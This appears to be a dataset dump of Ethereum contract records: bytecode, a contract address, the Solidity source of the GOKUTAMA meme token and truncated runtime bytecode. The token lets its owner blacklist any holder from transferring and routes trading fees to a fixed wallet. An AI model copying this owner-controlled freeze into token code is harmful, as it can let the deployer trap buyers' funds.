fffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093057600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600154905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a3757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a7257600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610acb57600080fd5b610ad68585856118ca565b9150509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4157600080fd5b600360149054906101000a900460ff161515610b5c57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610c2c57600080fd5b610c3683836118fc565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ce257600080fd5b600360149054906101000a900460ff16151515610cfe57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f544343000000000000000000000000000000000000000000000000000000000081525081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610de557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e2057600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e7957600080fd5b610e838484611b8d565b91505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ee857600080fd5b6001548160015401111515610efc57600080fd5b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610fcc57600080fd5b610fe181600154611bbd90919063ffffffff16565b60018190555061105a81600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bbd90919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000600360149054906101000a900460ff1615151561111657600080fd5b6111208383611bdb565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118457600080fd5b806001541015151561119557600080fd5b80600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561120457600080fd5b61121981600154611dd790919063ffffffff16565b60018190555061129281600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd790919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143357600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561158957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116a757600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116ff57600080fd5b61170882610c3e565b905060008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061176381600154611dd790919063ffffffff16565b6001819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff161515156118e857600080fd5b6118f3848484611df0565b90509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611a0d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aa1565b611a208382611dd790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff16151515611bab57600080fd5b611bb583836121aa565b905092915050565b6000808284019050838110151515611bd157fe5b8091505092915050565b6000611c6c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bbd90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611de557fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e2d57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611e7a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611f0557600080fd5b611f56826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fe9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bbd90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ba82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156121e757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561223457600080fd5b612285826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612318826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bbd90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820aea27c28e658a6a623f3642e0f59092278c9e479e510408e5dbc7ec146f4416b0029 | {"success": true, "error": null, "results": {}} | 10,388 |
0xe543fe3e3e0cc78a299a2d10672c29dd4358c4ac | // SPDX-License-Identifier: UNLICENSED
/*
Goku, one of the strongest anime characters in Japanese anime history, is not only the icon of the Japanese manga industry but also a representative figure of Japanese culture. His ability to transform into every type of Super Saiyan, his strong appetite and his famous Kamehameha make Goku a character who all people want to be like. He is the strongest character ever thought up and the most awesome guy ever in the history of anime and manga.
"Remember all the pain he's caused, the people he's hurt... NOW MAKE THAT YOUR POWER!!!"
— Goku encouraging Gohan to defeat Cell
telegram
@gokutama@gokutama@gokutama
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GOKUTAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "GOKUTAMA";
string private constant _symbol = "GOKUTAMA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x3Bb40af82Ac91bbD346E4961A3c496D3869b6E2C);
_buyTax = 11;
_sellTax = 14;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 14) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 11) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd801461030a578063c9567bf91461031f578063dbe8272c14610334578063dc1052e214610354578063dd62ed3e1461037457600080fd5b80638da5cb5b1461028d57806395d89b41146101515780639e78fb4f146102b5578063a9059cbb146102ca578063b515566a146102ea57600080fd5b8063273123b7116100e7578063273123b714610207578063313ce567146102275780636fc3eaec1461024357806370a0823114610258578063715018a61461027857600080fd5b8063013206211461012f57806306fdde0314610151578063095ea7b31461019157806318160ddd146101c157806323b872dd146101e757600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5061014f61014a3660046115ce565b6103ba565b005b34801561015d57600080fd5b506040805180820182526008815267474f4b5554414d4160c01b6020820152905161018891906115eb565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611665565b61040b565b6040519015158152602001610188565b3480156101cd57600080fd5b50683635c9adc5dea000005b604051908152602001610188565b3480156101f357600080fd5b506101b1610202366004611691565b610422565b34801561021357600080fd5b5061014f6102223660046116d2565b61048b565b34801561023357600080fd5b5060405160098152602001610188565b34801561024f57600080fd5b5061014f6104d6565b34801561026457600080fd5b506101d96102733660046116d2565b61050d565b34801561028457600080fd5b5061014f61052f565b34801561029957600080fd5b506000546040516001600160a01b039091168152602001610188565b3480156102c157600080fd5b5061014f6105a3565b3480156102d657600080fd5b506101b16102e5366004611665565b6107b5565b3480156102f657600080fd5b5061014f610305366004611705565b6107c2565b34801561031657600080fd5b5061014f610858565b34801561032b57600080fd5b5061014f610898565b34801561034057600080fd5b5061014f61034f3660046117ca565b610a43565b34801561036057600080fd5b5061014f61036f3660046117ca565b610a7b565b34801561038057600080fd5b506101d961038f3660046117e3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103ed5760405162461bcd60e51b81526004016103e49061181c565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610418338484610ab3565b5060015b92915050565b600061042f848484610bd7565b610481843361047c856040518060600160405280602881526020016119e2602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ee7565b610ab3565b5060019392505050565b6000546001600160a01b031633146104b55760405162461bcd60e51b81526004016103e49061181c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105005760405162461bcd60e51b81526004016103e49061181c565b4761050a81610f21565b50565b6001600160a01b03811660009081526002602052604081205461041c90610f5b565b6000546001600160a01b031633146105595760405162461bcd60e51b81526004016103e49061181c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105cd5760405162461bcd60e51b81526004016103e49061181c565b600f54600160a01b900460ff16156106275760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e4565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561068c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b09190611851565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107219190611851565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561076e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107929190611851565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610418338484610bd7565b6000546001600160a01b031633146107ec5760405162461bcd60e51b81526004016103e49061181c565b60005b8151811015610854576001600660008484815181106108105761081061186e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061084c8161189a565b9150506107ef565b5050565b6000546001600160a01b031633146108825760405162461bcd60e51b81526004016103e49061181c565b600061088d3061050d565b905061050a81610fdf565b6000546001600160a01b031633146108c25760405162461bcd60e51b81526004016103e49061181c565b600e546108e39030906001600160a01b0316683635c9adc5dea00000610ab3565b600e546001600160a01b031663f305d71947306108ff8161050d565b6000806109146000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561097c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109a191906118b5565b5050600f80546801158e460913d0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a1f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050a91906118e3565b6000546001600160a01b03163314610a6d5760405162461bcd60e51b81526004016103e49061181c565b600e81101561050a57600b55565b6000546001600160a01b03163314610aa55760405162461bcd60e51b81526004016103e49061181c565b600b81101561050a57600c55565b6001600160a01b038316610b155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e4565b6001600160a01b038216610b765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c3b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e4565b6001600160a01b038216610c9d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e4565b60008111610cff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e4565b6001600160a01b03831660009081526006602052604090205460ff1615610d2557600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610d6757506001600160a01b03821660009081526005602052604090205460ff16155b1561